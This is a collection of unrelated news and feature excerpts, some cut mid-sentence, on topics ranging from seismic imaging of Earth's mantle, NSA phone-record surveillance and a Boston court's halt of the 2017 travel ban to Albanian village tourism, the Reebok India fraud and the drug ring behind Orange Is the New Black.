Earthquakes and computing power are the main requirements for researchers looking to piece together an x-ray-like image of the Earths interior. The principle is simple enough: When an earthquake strikes, the seismic waves race clear across the Earths mantle. It takes a full quarter of an hour for the shockwave to travel from Indonesia to Germany. The duration of this journey reveals a great deal to researchers. The waves are slowed down by viscous and hot regions, like mantle plumes, and accelerated by solid or cold objects.
Elemental forces -- such as the earthquake that hit Kobe in 1995 and killed nearly 5,100 Japanese -- are thus Maruyamas main source of data. The island nation lies directly on the West Pacific crossroads of three huge plates that ram into each other like cars in a highway pile-up: the Pacific, Australian and Eurasian tectonic plates. Under his feet he assumes that there is an enormous plate cemetery with the remains of the Pacific Ocean floor.
'New Forms of Life'
Many details of the plate graveyards hypothesis remain controversial. How viscous is the molten rock there? What chemical reactions are possible? These puzzles are particularly difficult to solve due to the hellish temperatures and pressure of the Earths lower mantle -- conditions that cannot be realistically reproduced in a laboratory.
But while the experts are busy debating such questions, Maruyama has long since moved on. He is working on a global formula for a vast new field of study that would include dozens of disciplines collaborating to produce an overall picture of the Earth.
A new institute called the Center for Bio-Earth Planetology will be launched in 2009 and fully dedicated to creating a new conception of life in space. It will have more than 200 researchers and a budget of over 110 million ($158 million) for nine years. And, of course, Maruyama will be the chief scientist.
He has ambitious goals. For instance, he wants to find out if the continents will merge again in 250 million years to form a single super-continent; how meteorites change the chemical composition of the Earth; and what the connection is between the temperature of a planet and its magnetic field. This, explains Maruyama, "protects plants and animals from being bombarded with cosmic radiation, which in turn influences the rate of mutations and thus the development of new forms of life.
As he connects the dots from astronomy to life sciences, the outlines emerge of an all-encompassing image of entire planets, which now appear as living super-organisms.
He believes that expanding the study of life sciences to the core of our world and the depths of outer space will help us find distant relatives of our own Earth -- planets that could also sustain life.The Grand Central trolley loop is one of the least known, least talked about, and least documented abandoned tunnel segments in the NYC subway system. These rare photos show the present day (2012) state of this obscure location.The present day #7 subway line, had it been completed when originally planned in 1885, would have been the first subway route in the USA. Very early on though the plans and ownership (it was being built as a private enterprise) changed hands. Eventually William Steinway (owner of the piano company which still exists in Astoria, Queens) became a backer of the project, with excavation finally begun in the spring of 1892. This initial tunnel boring attempted was prone to flooding (which is of little surprise, being the fist sub-aquatic subway tunnel in the city). An accidental explosion occurred on Dec. 28, 1892, killing 5 workmen. This combined with a financial panic in 1893 brought the project to a standstill.After this false start, and the death of William Steinway, August Belmont came to own the company & tunnel project. Belmont of course should be a familiar name to anyone who knows their NYC subway history: his company was the one that built the original IRT subway line.Belmont's team got the 'Steinway tube' project back underway and completed as a trolley car line. The city government wasn't pleased about this, since the enterprise was entirely privately run. Belmont was never granted a franchise to operate this new trolley line - that didn't stop him from hosting several rides through the tunnel though. The first run was on Sept 24, 1907, for Belmont and several of the project's engineers. Only a few more test trips were made. When Belmont sold the tunnels to the city, it was decided to convert them to rapid transit tunnels matching the specifications |
and that it is "captured as we speak, whether we know it or like it or not."
Read this Yes, U.S. authorities can spy on EU cloud data. Here's how EU citizens and businesses are warned against using the cloud over the risk that U.S. law enforcement and intelligence agencies can obtain your personal records. Here's how the U.S. can acquire your data, even if you're based in the EU. Read More
It's not clear whether other cell networks, such as AT&T, T-Mobile, and Sprint, have been targeted with similar or identical warrants. Key "gagging order" provisions mean that the FISC court order does not allow anyone, including the aforementioned, to disclose the order to anyone.
It relives similar orders under the Bush administration, in which the NSA was ordered to wiretap without warrant U.S. citizens in a mass domestic surveillance program. An AT&T whistleblower disclosed that the cell company was "complicit" in the U.S. government's monitoring of phone calls, Web activity — including history and email details — and text messaging data of U.S. residents.
The wiretapping stopped in January 2007. In 2008, the FISA Amendments Act was introduced.
For the first time under Obama's time in office, the document proves that millions of U.S. citizens and residents are under surveillance by the government — whether they are even suspected of committing a crime or not.
The interesting factor here is that the FISC can order such widespread snooping under the condition that U.S. citizens could be communicating with foreign citizens — which, under FISA, such snooping is authorized. But the key factor here is "residents," and not "citizens." FISA also authorizes widespread snooping on "persons" within the U.S., as long as they are legally allowed to be there.
It was, after all, designed and brought into law in 1978, at the height of the Cold War, where spying was widespread across the U.S., Europe, and Russia.
But questions remain over why. Nobody seems to know exactly why Verizon was targeted with a "top secret" court order.
Read this Secret interpretation of FISA snooping law released... (sort of) A U.S. privacy group has been successful in getting a document released that details how U.S. authorities interpret the FISA snooping law. The trouble is, most of it isn't readable. Read More
Under Section 215 of the Patriot Act, first brought out in October 2001, just a month after the devastating terrorist attack in New York City, "business records" can be acquired by the U.S. intelligence agencies — such as the NSA and the FBI — in vast swathes with a single warrant.
It also allows any "tangible thing" to be acquired by the government, such as books, receipts, and even privately held computer databases, such as in this case.
Last year, Senator Ron Wyden (D-OR) and Senator Mark Udall (D-CO) revealed, while still under U.S. secrecy laws: "We're getting to a gap between what the public thinks the law says and what the American government secretly thinks the law says."
They specifically warned about the "business provisions" in the Patriot Act that allow the U.S. government to acquire vast amounts of data with a single warrant, including medical records, so long as it pertains to an intelligence investigation.
The secret interpretation of the "business records" provision by the U.S. Justice Department led the two senators to speak, albeit within the bounds of U.S. secrecy laws, to disclose that there was a "secret interpretation."
Section 215 has already been used to obtain driving license, credit card, car, and apartment rental records. Such records are not within the parameters of the Fourth Amendment, which protects residents from "unreasonable" searches, because arguably they are not considered a "search."
The Patriot Act provision also means that such an order must be approved by the secret FISC, and can be so long as the data sought is relevant to a terrorism investigation. Such investigations do not require much, however.
Basically, Verizon couldn't do anything about this even if it wanted to. It's not allowed to disclose anything about this order, and naturally declined to comment to The Guardian.The microorganisms that cause tuberculosis scatter through the air from the force of a sick person’s cough. Alighting on a healthy body, the bacilli enter the lungs and multiply, turning surface of the lungs into lesions that resemble soft cheese. A slow deterioration can descend — a transformation of a healthy body into a thin, sickly, pallid soul who coughs bright red blood. The physical threat may sound overwhelming compared to seemingly frivolous architectural elements, but there are those who see disease-halting power in a building’s design.
Archive Global works to prevent numerous infectious diseases through the redesign of urban housing in Haiti, Cameroon, Bangladesh and elsewhere. Founded in 2006, the organization is one of just a few firms worldwide that focuses on preventing disease by exploring the connections between architecture and health.
With tuberculosis lingering from equatorial slums to the wealthy cities of London and New York, some nine million people were newly infected with tuberculosis worldwide in 2013, and 1.5 million succumbed to the disease. While massive efforts to improve access to care, cut drug costs and halt dangerous antibiotic resistance have saved millions of lives, the advent of HIV and chronic overcrowding in many cities lend the problem an unflagging urgency.
To address it, Archive (“Architecture for Health in Vulnerable Environments”) proposes “bringing attention to the built environment and how it is a transmission vehicle for the spread and control of a respiratory illness like TB,” says founder Peter Williams. While he is quick to note the folly of “pushing one strategy against another,” he suggests it is worthwhile to balance “the emphasis that a city places on treatment and case detection” with a cost-effective prevention that focuses on impactful architectural updates.
An architectural framework for preventing the disease starts with examining buildings of our past — such as 1800s New York tenements through which tuberculosis spread. The idea can seem counterintuitive, if only because few common elements appear to unite the New York City tenements of old — tall buildings on narrow lots, crammed with dark apartments and lacking sufficient water, toilets and ventilation — to the shanties, shipping container-based structures and haphazard sprawl of the developing world today. But Archive explicitly builds from architectural history, and the past informs their current innovations.
“Overcrowding is certainly the commonality,” between diverse environments where TB is prevalent, acknowledges Williams. Much of the effort to reduce tuberculosis involves ensuring that the number of people living within a given space does not rise beyond a safe level, generally defined as more than one person per room. His suggestion involves redesign combined with engaging policymakers in funding necessary changes to housing policy.
Ventilation is the other major issue. Because tuberculosis (and other respiratory infections) spreads via the liquid droplets in coughs and sneezes, a design that manipulates airflow to minimize exposure is important. In developing-world settings, Williams concedes, mechanical ventilation is only commonly found in hospital and similar institutional settings. Other buildings tend to rely on natural ventilation, meaning opening windows and doors. As simple as that sounds, “in some situations,” Williams points out, “there may be a lack of even that.”
To address the problem of poor ventilation, Williams explains, architects use three basic concepts of air flow: cross-ventilation (or allowing air to move all the way through a defined area), plus ventilation designs to take advantage of hot air rising and pockets of still air. Used skillfully, options for manipulating airflow to reduce disease spread are “quite cost-effective,” he says, particularly when compared to the high costs of treating tuberculosis. All can be used as effective means to prevent any respiratory illness, as well as toxic inhalations from using biomass-based cooking fuels indoors.
Archive is starting small, with an as-yet-uninitiated project on respiratory health and indoor pollutants in Ethiopia and projects on TB awareness in London.
The metamorphic power of the efforts may be great. In New York, this has already been the case. In the early 1800s, about 688 people for every 100,000 were dying from pulmonary tuberculosis in New York each year. In 2013, data from the CDC notes an infection rate of three people for every 100,000 people nationwide, of whom many no longer die. Along with changes in diagnosis and treatment, improvements in the built environment have vastly improved human health.
That said, it isn’t only health but social equality, comfort and pure beauty that justifies transforming housing. And previous designs from New York and Rwanda hint that the work has the potential to be transformative. An emphasis on beauty has also been integral to a Rwandan hospital built by Mass Design, one of only a few other architectural firms focused on global health. And, over the last two centuries, architecture in New York not only embraced health, but wove it into multifunctional and sometimes pleasant designs, like triple-hung windows designed to maximize cross-ventilation in low-cost housing. Although Archive’s work uses well-documented methods to improve respiratory health, building a better house around any person, tubercular or not, makes good sense.In conjunction with limiting 15-year veteran Julius Peppers’ workload, Perry has been taking the bulk of the snaps with the No. 1 defense as the bookend pass rusher opposite Clay Matthews.
Prior to Thursday’s practice, the third of camp and the first in pads, Head Coach Mike McCarthy said he views Perry as a “prominent player” in the Packers’ defense this season. Healthy enough to participate fully in an offseason program for the first time in his career, Perry “looks like a whole different player” heading into his fifth year.
Teammates have noticed, too. Right tackle Bryan Bulaga, a first-round pick two years prior to Perry who has gone head-to-head with him countless times in practice, sees a renewed, more seasoned Perry as well.
“I can just tell by his speed,” Bulaga said. “He’s always been very good with his hands, but I feel like he’s really polished that up even more. He’s obviously a strong guy, so he’s got great power, too. I think he’s going to have a good year.
“Obviously, we all have to stay healthy, myself included, but with Nick, you can definitely tell that he’s improved big-time.”
That’s an eyebrow-raising thought, considering Perry’s productivity when he has been on the field. Including playoffs, he has recorded 18½ sacks in just 51 career games.A dinner rolls around - maybe it's a last minute group dinner, maybe it's near Columbus Circle, maybe someone is bringing a small child or a difficult eater. Someone's going to recommend The Smith. And you're going to say, "Well... isn't there something else?"
We don't have anything against The Smith, per se, other than its ubiquity - there are four locations in Manhattan, each one bigger than the last, and those OpenTable reservations are always there for the taking, which means someone's inevitably going to recommend it. Like Westville, it's another one of those places that, when suggested in our Text Rex service, almost always results in a reply of, "Yeah, I'm looking for something like The Smith, but not actually The Smith."
In those cases, here's where to go.The series announced as being in the scripting stage back in September, Deadline is now reporting that NBC has ordered a pilot for “Constantine,” based on the DC Comics/Vertigo character. Written by David S. Goyer (Batman Begins, Man of Steel) and Daniel Cerone (“The Mentalist”), it’s thought that the new series will use the character’s “New 52” series as its basis.
Created by Alan Moore, John Constantine, a roguish magician/detective/conman, first appeared during the author’s run on “Swamp Thing” in 1985, receiving his own series, “Hellblazer,” under DC’s Vertigo imprint in 1988. That book ran for 300 issues before it was relaunched in DC’s “New 52” continuity as “Constantine” with a younger take on the antihero.
The Constantine character was also brought to the big screen with a 2005 film directed by Francis Lawrence and starring Keanu Reeves. Guillermo del Toro confirmed last year that he was working on a script based on DC’s “Justice League Dark,” (tentatively titled Dark Universe) that would include John Constantine as a character. As to how that film winds up being affected by these new television plans remains to be seen.
The series joins “Arrow,” “The Flash,” and “Gotham” as another DC comics-based television series.In this Tuesday, July 18, 2017, goats are seen in the village of Nivica, southern Albania. An ambitious project is aiming to open up remote villages in the highlands of southern Albania to the outside world and to tourists wanting to discover the spectacular natural beauty and rural way of life of the more isolated parts of the Balkan country. (AP Photo/Geo Delveroudis)
NIVICA, Albania (AP) — High in the mountains of southern Albania, a bone-jarring drive along a rough track with switchbacks frequented more by goats than by cars leads to a cluster of small villages where time appears to have stood still for decades.
Sheep’s milk is still carried to the local cheesemaker by donkey. Elderly villagers hike into the mountains to collect fistfuls of wild oregano and other herbs. Old rituals of lighting candles to honor ancient, gnarled, sacred oaks are kept alive, although no one who practices them seems to know why or how they came about.
Strung out along a sheer cliff behind an old, crumbled fortress, the village of Nivica is unknown to many even in Albania. But an ambitious project is aiming to open it up to the outside world and to tourists wanting to discover the spectacular natural beauty and rural way of life of the more isolated parts of the country.
“We are doing a pilot project on the concept of how to connect rural communities very close to the coastline but (which have) never been helped by coastline tourism,” said Auron Tare, who heads Albania’s National Coastline Agency and is leading the project in Nivica.
The area’s attractions are many. Crystal-clear streams run through sheer canyons and gorges slicing through the landscape. Small stone Ottoman-era bridges still arch over gullies, untouched for centuries. At sunset, shepherds drive their flocks through the fields to small corrals for milking.
And like everything in the Balkans, the region is steeped in history.
“Apart from the landscape, the reason to come here is because of the stories. This is a place where Roman troops traveled, this is a place where Normans traveled, this is a place where Ottomans traveled. World War I, World War II. There are many stories to be connected to this area,” Tare said.
“Plus the wonderful landscape, and also the untouched life. Here you see people milking their sheep and their goats as they did 4,000 years ago. You see people in their pastoral daily life, which is extremely attractive to people who have lost that heritage, and you would come here and find that spiritual enrichment in your life.”
For now, visitors are mainly young backpackers from European countries hiking along Albania’s ancient trails and camping in a field just outside the village. Tare says about 150 tourists visited the village over the past month, mainly from the Czech Republic, drawn by comments on social media from a team of Czechs who have been working on marking centuries-old paths as hiking trails.
The area is still far off the beaten track; many of those living on the coast just over the other side of the mountains have never even heard of Nivica.
“This village, we can say that it is deeply (hidden) in the mountain,” said Lorena Sinatrakaj, a 29-year-old archaeologist working on the project. Even she herself had never heard of it, she admits.
When the project leaders arrived, they found a village based on agriculture and animal rearing, she said. Tourism was an alien concept, and the village was in a general state of dilapidation.
Many of the locals had moved away to towns and cities elsewhere in the country. With little state infrastructure or services, waste management consisted largely of throwing garbage down the ravines or tossing it in the street.
“When we came here last year, there was 30 years’ worth of garbage in the village square,” Tare said.
The project’s first task was to clear up the trash, both inside the village and in the nearby ravine. Now the village square has been cleared, and villagers drive their sheep past stonemasons chipping at rocks, the sound of chisels striking stone echoing through the sultry summer heat as they work on the village’s biggest single project: a new guesthouse, scheduled for completion next spring.
The overall project includes restoring old buildings to be used as guesthouses, and helping locals start grass-roots bed-and-breakfast businesses in their homes. Sinatrakaj says locals quickly embraced the project once they saw the potential for tourism.
For Dallandyshe Merio, a local woman who left the village two decades ago and moved to the southern port town of Vlora, the project has brought such hope to the village that she is considering moving back.
“I’m happy that the village has come back to life again. Before, everyone was gone,” said Merio, who initially converted one of the rooms in her house in the village for paying guests. When she saw how well the system worked with her first guest, a German, she renovated a second room and now runs a small bed-and-breakfast.
“People are coming back and rebuilding,” she said.
Crucially, part of the project includes turning the dirt track leading to the village from the nearest town of Tepelene into a road, to ease access.
But the danger of opening up too fast to too much tourism is a real one, and something Tare and Sinatrakaj are well aware of. The aim, they say, is not to turn Nivica into a place where tour buses disgorge thousands of tourists, something that would shatter the tranquility of the area and endanger the local way of life.
“As we know, tourism has a lot of good benefits but also negative effects, such as destroying local culture and destroying (the) environment. And that’s a very good point to take into consideration,” Tare said.
“And as we go slow, we’re trying to convert the traditional hospitality to a more welcoming feeling and place for visitors to come, without disturbing the local culture. It is a challenging aspect, of course, and time will tell if we are right or not.”In what could the second biggest corporate scandal after Satyam, Reebok India has alleged a Rs 8,700 crore fraud by its former Managing Director Subhinder Singh Prem and former Chief Operating Officer Vishnu Bhagat.
Reebok lodged an FIR with the Gurgaon police alleging that Prem and Bhagat had'stolen' products by setting up'secret warehouses', fudged accounts and indulged in fictitious sales to cause a multi-crore dent to the company.
When the alleged scam came to light in March 2012, Singh, who had been made the Managing Director of Adidas India in 2011 as a part of an integration of the businesses of both Adidas and Reebok brands, was dismissed from the company. Bhagat's services were terminated too.
The company's financial director, Shahim Padath, later lodged a formal complaint against the duo. The economic cell of Gurgaon police conducted a probe and found that Singh and Bhagat had allegedly rented four warehouses without informing their seniors and used them to store goods and claimed they were supplied to genuine dealers.Walk down Main Street in Akron, Ohio's North Hill neighborhood and you can buy jewelry from Nepal, a shirt from Bhutan, and a latte at a hipster cafe.
Over the past several years, the city has become a virtual melting pot as a steady influx of immigrants and refugees from countries like Bhutan, Uzbekistan, Syria and Iraq have started calling Akron home.
And they couldn't have come soon enough.
Like many Rust Belt cities, Akron was hit hard when the manufacturing jobs -- especially in the auto and tire making industries -- started disappearing in the early 2000s. Once the jobs were gone, the population started shrinking.
But in recent years a growing number of immigrants have started moving in. Between 2007 and 2013, Akron's foreign born population increased by 30.8% from 7,208 to 9,426, helping to stem what could have been a devastating population decline, according to a study by a bipartisan group of 500 mayors and business leaders called the Partnership for a New American Economy.
"We were losing people like most Midwestern cities," said Akron's mayor Daniel Horrigan. "The foreign-born people are helping us. They want to send their kids to school, they buy houses and they pay taxes."
President Trump campaigned hard on the idea that immigrants threaten American communities, take away jobs and abuse government benefits like housing assistance and food stamps. And he promised to crack down on immigrants who rely on these benefits.
"Those who abuse our welfare system will be priorities for removal," Trump said in a speech in August.
But Horrigan believes Trump's stance is all wrong. In fact, he says, immigrants have bolstered Akron's community.
Related: Muslim immigrants - Trump is slamming the door on our American Dream
In 2013, Akron's immigrant population held close to $137 million in disposable income and paid about $17 million in state and local taxes, representing close to 5% of the total tax contributions, the Partnership for a New American Economy study found. About 35% of Akron's foreign born residents are homeowners, compared to 53% of the area's American-born population.
"When I see a group that thrives, I have to be supportive of that," Horrigan said. He noted that his own grandfather immigrated to the area from Bari, Italy, in 1918.
Akron's North Hill neighborhood, where many refugees and immigrants come to live and open businesses, is near the International Institute of Akron, which operates a refugee resettlement program that provides English classes, job placement help, immigration counseling and refugee resettlement assistance to immigrants.
The program, which officially began operating in 1979, has been responsible for many of the area's new residents. Refugees now represent more than a quarter of the area's foreign born residents.
Related: Immigrants - These cities want you!
The new arrivals have kept Akron's working population young as the city's aging baby boomers retire. Many of them are working in science, technology, engineering and math (STEM) jobs or they are opening businesses -- and creating jobs.
Muhammad Hammad, a Palestinian immigrant who has been living in Akron since 1996, is a naturalized citizen and owns a car dealership called Cedar Auto Group that employs five people.
He said the immigrants he knows may have required some assistance when they first arrived, but they typically get jobs after a few months and don't have to rely on the benefits for long.
"I see more people losing their lives from gun and drug problems," said Hammad. "These are the real problems that the president should be focusing on."
According to research by the libertarian Cato Institute, low-income immigrants use public benefits like Medicaid or food stamps at a much lower rate than low-income native born citizens. And one high-level employee with Summit County's public assistance program, which administers federal benefits in Akron, said refugees tend to find employment and get off assistance much faster than other clients.
Another Akron resident, Khaldon Al-Falih, immigrated to Ohio from Syria in 1982.
Al-Falih graduated from Youngstown State University with a degree in civil engineering. After working in Florida for about ten years, he returned to Ohio to be close to his family. He's lived in Akron since 1995 and is married with five children.
Al-Falih, who is now 55, said that he and his wife have worked hard to achieve the American Dream. He now owns a graphic design firm that prints banners, signs and other advertisements. Besides he and his wife, the firm employs one installer. "Our goal is to give our kids a better life than we had."
Related: From shelter to startup: One Egyptian immigrant's success story
A naturalized American citizen, Al-Falih said he is disappointed with Trump's anti-immigration rhetoric and executive orders and says Muslims, in particular, are being unfairly profiled.
"We need to prevent bad people from coming here, but it doesn't matter where they're from and the way it was handled was wrong," he said.
Twice a month, Hammad and his mosque organize dinners with the local interfaith community. "We invite them here and we talk together and it's going beautiful," he said. "We came here and we're staying here forever."In a rare middle-of-the night decision, two federal judges in Boston temporarily halted President Trump’s executive order blocking immigrants from seven Muslim-majority nations from entering the United States.
At 1:51 a.m., Judge Allison Burroughs and Magistrate Judge Judith Dein imposed a seven-day restraining order against Trump’s executive order, clearing the way for lawful immigrants from the seven barred nations – Iran, Iraq, Yemen, Somalia, Sudan, Libya and Syria – to enter the US.
“It’s a great victory today,” said Susan Church, a lawyer who argued the case in court. “What’s most important about today is this is what makes America great, the fact that we have the rule of law.”
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The ruling prohibits federal officials from detaining or deporting immigrants and refugees with valid visas or green cards or forcing them to undergo extra security screenings based solely on Trump’s order. The judges also instructed Customs and Border Protection to notify airlines overseas that it is safe to put immigrants on US-bound flights.
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The judges issued the ruling in a lawsuit filed by the ACLU, Church and other lawyers initially on behalf of two University of Massachusetts Dartmouth professors, both Muslim green card holders from Iran, who were detained and interrogated for about three hours Saturday at Logan International Airport.
The professors, Mazdak Pourabdollah Tootkaboni and Arghavan Louhghalam, are permanent residents of the United States who left the country for an academic conference, the petition said. They arrived at Logan around 5:30 p.m. Saturday and were held “solely pursuant to an executive order issued” by Trump, the petition said.
Though the professors were released, lawyers rushed to federal court fearing more people could be barred in the days ahead.
The judges agreed, ruling that the lawyers had established a “strong likelihood of success” that Trump’s order would violate immigrants’ constitutional rights and said immigrants are “likely to suffer irreparable harm” as a result of the order.
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“The balance of harms favors the issuance of this temporary restraining order and its issuance is in the public interest,” the judges said.
The immigration lawyers, who had conferred with one another for hours in the dimly lit hallways of Boston’s federal court late Saturday night into Sunday morning, cheered the victory and said they hoped to make the restraining order permanent.
“This is an illegal, unconstitutional executive order and if the president continues to go forward with these kinds of plans we’re going to continue to fight him every step of the way,” said Matthew Segal, legal director of the ACLU of Massachusetts, in a press conference after the hearing.
Lawyer Kerry Doyle added, “This is our first victory and our first day in court, or night in court as the case may be, but it won’t be the last one.”
Trump’s executive order, signed on Friday, bars immigrants from the seven predominantly Muslim countries from entering the US, and halts refugees worldwide from entering the US for 120 days and Syrian refugees indefinitely.
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Protests ensued around the country, including at Logan, where hundreds of people gathered Saturday night chanting, “Let them in.”
Also Saturday night, a federal judge in New York ruled that refugees and non-US citizens who have been detained at airports across the country should not be deported. A court in Virginia also issued a ruling on the order, according to media reports.
In Boston, lawyers, mostly women, rushed to federal court around 10 p.m., some still in fancy dresses from parties and galas or a Saturday night on the town.
Lawyer Sue Finegan left gala to come to the court. Susan Cohen ditched a 60th birthday party. And Laura Rotolo of the ACLU left her husband and two children to clean up at after her 6-year-old’s birthday party. Doyle carried a copy of the Immigration and Nationality Act under her arm, and lawyer Melissa Smith handed out Girl Scout cookies — Thin Mints — for sustenance.
“We all raced over to help,” Finegan said.
Court officers also were called in from home, including one who had been eating chocolate ice cream and watching the news before he got the call. And federal prosecutor Ray Farquhar, acting chief of the civil division, put down his wine glass at an engagement party and rushed into court.
He argued that the lawsuit was moot because the professors had been released, but he said the US Attorney’s office was trying to find a reasonable solution to an issue that had abruptly appeared on their radar.
Lawyers for the plaintiffs said more immigrants from the countries on Trump’s list are expected to arrive in Boston first thing Sunday, which could be the first test of the judges’ ruling.
Globe correspondent Felicia Gans contributed to this report. Maria Sacchetti can be reached at msacchetti@globe.com. Follow her on Twitter @mariasacchettiThe pilot was just as surprised as the passengers when a propeller plane skittered off an Edmonton runway and partially collapsed, says a federal investigator.
"He didn't have any idea that anything was wrong at all in the air," said Barry Holt, regional senior investigator with the Transportation Safety Board in an interview with CBC.
The aircraft's 71 passengers and four crew members braced themselves as the plane's right side crashed to the ground on the landing.
The force of impact sheared the propeller's blades right off and launched them through the cabin. Three people were hurt, but not badly, by pieces of the plane wall that broke and flew into the air.
No one knew exactly what happened to cause the crash that night in November 2014 — until now.
This map of the inside of the plane shows where the propeller crashed through the cabin. (Transportation Safety Board) a "total fluke." It's something Holt calls
The plane blew a retreaded tire on takeoff from Calgary, which is not ideal but not uncommon, Holt said. Crews arranged to change planes in Edmonton, and went in for what was expected to be a routine landing.
Instead, the vibration from a blown retreaded tire somehow matched the harmonics of the landing gear, triggering a sensor that made that gear collapse.
High-flying mystery
"It wasn't likely to happen. No one could foresee this kind of thing," said Holt.
A mystery. One that took several months to figure out. Investigators found nothing mechanically wrong with the plane. And the flight crew had the right training, they were well-rested, and did everything they should, Holt concluded.
He and his team spent a year and a half doing hundreds of tests, recreating the conditions of the landing. Called "dynamic vibration testing," Holt said it's a type that "had never been done anywhere in the world" before.
And his report suggests that needs to change.
"If there are no specific requirements for dynamic vibration testing of components or completed airframes, there is a risk that similar or other aircraft systems could fail during high-vibration conditions," the report states.
How safe is it to fly, really?
The International Air Transport Association (IATA), a trade organization that represents 260 airlines, or 83 per cent of total air traffic, can give a better idea of just how rarely accidents like this happen.
The agency says accident numbers overall are lower than ever.
For the year 2014, IATA recorded "the equivalent of one major accident for every 4.4 million flights," which the agency said is the lowest rate in the history of aviation.
The agency says runway excursions like the one in Edmonton, where an aircraft departs a runway during landing or takeoff, account for 22 per cent of accidents over five years from 2010 to 2014. They caused less than seven per cent of deaths in that same five-year span.LOS ANGELES -- If Sean McVay learned one thing from the end of Jeff Fisher's stint with the Los Angeles Rams, it was probably this: Make nice with Eric Dickerson.
McVay, the Rams' 31-year-old rookie coach, spoke to Dickerson "right when I got hired," which was smart. It was Dickerson who previously set off a firestorm around Fisher, who upset the Hall of Fame running back by basically telling him he was not welcome on the sideline due to his criticism of the team -- a directive Dickerson believes came from upper management.
Dickerson became upset at Fisher's public portrayal of the exchange and made the rounds, dictating the contested phone conversation to various media outlets and vowing not to attend Rams games while Fisher was the head coach.
When Fisher was fired in the middle of December, the shun was lifted.
Since being hired on Jan. 12, McVay has spoken to Dickerson on the phone and has also run into him at the Super Bowl and the scouting combine.
"He’s a guy that will be around," McVay, speaking from the owners meetings in Phoenix, said of Dickerson, perhaps the most famous member of the Rams from their previous stint in Los Angeles.
"There are so many great players that were a part of this organization, and you want those guys around. You want winners around. They know what it looks like. Marshall Faulk, Kurt Warner, Torry Holt, Isaac Bruce -- D'Marco Farr is still present.... There’s a difference when a guy has done it; he’s been in that role when he’s talking to a Todd Gurley and a Lance Dunbar, kind of what it looks like. I have talked to Eric, and he’s a guy that I’m looking forward to getting to know a little bit better."The Standard Operating Procedures (SOP) outlined in this manual are to ensure that this department is prepared to respond effectively and efficiently in accordance with applicable law and District of Columbia policy to any unlawful conduct occurring in the context of First Amendment assemblies. These SOP’s incorporate revisions to the manner in which the Metropolitan Police Department responds to demonstrations and other assemblies on District of Columbia public space that the District has implemented in resolving litigation. This manual also reflects measures mandated by the First Amendment Rights and Police Standards Act of 2004.
This handbook sets forth general policy and shall serve as standard operating procedures for all members in carrying out the mission of the Metropolitan Police Department in dealing with all demonstrations, rallies, marches, picket lines, or other similar gatherings conducted for the purpose of persons expressing their political, social, or religious views. This policy is intended to exceed constitutional requirements and satisfy the heightened requirements of local statutory law and best practices.
The manual also is designed around the concept of operational flexibility within the requirements of the National Incident Management System. It is impossible to devise specific standard procedures for handling all possible situations, for each has its own characteristics and problems. The overall police philosophy must be one of moderation, flexibility and controlled response. Since each situation is unique, both commanders and supervisory officials must plan to respond according to the nature and size of the crowd. The tactical procedures established within this manual are a guide, and not a substitute for the exercise of sound judgment and proper command and supervision within the context of general departmental policy.
It is imperative that members of the force understand the role of the Metropolitan Police Department during mass demonstrations and major disturbances in our city and the manner by which the department prepares itself to fulfill this role. It is to this end that this handbook is dedicated.
…
V. VIOLENT CIVIL DISTURBANCES
Unplanned civil disturbances may arise from a number of causes such as political grievances, economic conflicts, community unrest, or in response to police action taking place in neighborhoods, or in the midst of a crowded street, park or public place. Civil disturbance participants come from all walks of life and cover the entire political spectrum.
Whenever an unplanned First Amendment assembly arises, the first officer on the scene will serve as the initial incident commander. That member will be responsible for conducting an assessment of the scene, notifying the CIC and the element Watch Commander of the situation and requesting assistance from the Special Operations Division.
The basic human element sparking a civil disturbance is usually the presence of a crowd. Civil disturbances usually arise when a crowd:
1. Gathers to air grievances on issues, and transfers its anger from the issues to the people dealing with the issues.
2. Swells uncontrollably as curious bystanders and sympathetic onlookers join forces with the activists or protestors.
3. Is incited to irrational action by skillful agitators.
In civil disturbances, crowds employ any number of tactics to achieve their goals. Their tactics may be unplanned or planned, non-violent or violent confrontations. As indicated, the situations that could evolve into a violent civil disturbance are numerous and varied. Often there will be little or no warning before the onset of violence or property damage. In a few instances, it may be possible to predict a level of civil disorder by the nature of a pre-planned event. However, each civil disturbance situation is unique and commanders and supervisory officials must, therefore, plan and respond according to the nature and size of the disturbance. The policies and procedures presented in this SOP are based upon the concept of operational flexibility, and it is expected that officials will exercise sound judgment and proper command and supervisory responsibility in the control of a civil disturbance.Clashes between rival groups in northwestern Libya have left at least two people dead and another 36 wounded, sources say.
Fighters from the town of Gharyan and al-Asabia fired machine guns and rockets at one another on Friday, in what was the latest round of fighting between armed groups across the North African nation since the fall of Muammar Gaddafi last year.
Ismail Ayeb of the Gharyan force said his fighters had gone to arrest people suspected of having ties to the former Gaddafi government.
Interim defence minister Osama al-Juwali rushed to Gharyan, 80 kilometres south of Tripoli to try to halt battles between the militias of that town and neighbouring Assabia.
The shootout began when al-Asabia fighters refused to hand over the suspects in question. Ayeb said al-Asabia, 16km to the southwest |
, which features a (spoiler alert) brutal death of one of the show's most popular characters, Samira Wiley's Poussey, asphyxiated by a scared and out-of-touch prison guard played by Alan Aisenberg.
Since its premiere in 2013, OITNB has rocketed to popular and critical acclaim, recently coming in at No. 26 in THR's poll of Hollywood's 100 favorite TV shows of all time, behind The Big Bang Theory and ahead of Buffy the Vampire Slayer (beating out such fan favorites as The Wire, Homeland and The Good Wife). And while Kerman was first out of the gate with the memoir that brought this massive scheme into the public eye, her co-conspirators aren't far behind. Harper Collins recently released Out of Orange, a memoir by Cleary Wolters, Kerman's one-time real-life girlfriend who is portrayed on the show as manipulative and cunning vixen Alex Vause (Laura Prepon). Wolters, who says the character bears no resemblance to her, is now in discussions about a show based on her own experiences. But for all the drama that befalls Piper Chapman inside OITNB's Litchfield Penitentiary, it probably can't match the untold story behind the drug ring that inspired it. Based on exclusive interviews with three of the key smugglers who formed the core of the drug ring's main American cell, the saga of the rise and fall of the international drug smuggling ring that landed the group in prison is just as rich and just as crazy.
Cleary Wolters, author of Out of Orange and the real-life inspiration for the OITNB character Alex Vause, played by Laura Prepon.
The Nigerian Impresario
